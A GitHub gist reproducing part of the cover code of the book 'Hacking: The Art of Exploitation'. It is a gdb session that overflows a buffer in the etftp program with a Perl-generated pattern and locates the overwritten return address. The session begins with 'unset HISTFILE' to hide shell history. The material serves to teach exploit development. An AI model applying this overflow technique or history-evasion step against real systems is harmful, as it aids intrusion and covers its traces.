Created
July 11, 2022 17:59
-
-
Save usr-ein/a1d6a69b0cac47d74bfd9e1dbdc88121 to your computer and use it in GitHub Desktop.
Hacking: The Art Of Exploitation book cover code (partial)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ unset HISTFILE | |
$ gdb -q /usr/bin/etftp | |
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". | |
(gdb) run -g $(perl -e 'print "AAAA"x64;for($i=65;$i<90;$i++){print | |
chr($i)x4}') | |
Starting program: /usr/bin/etftp -g $(perl -e 'print | |
"AAAA"x64;for($i=65;$i<90;$i++){print chr($i)x4}') | |
tftp: unknown host | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL | |
MMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY | |
Usage: get remote_file [local_file] | |
Program received signal SIGSEGV, Segmentation fault. | |
0x46464646 in ?? () | |
(gdb) x/40x $esp - 100 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment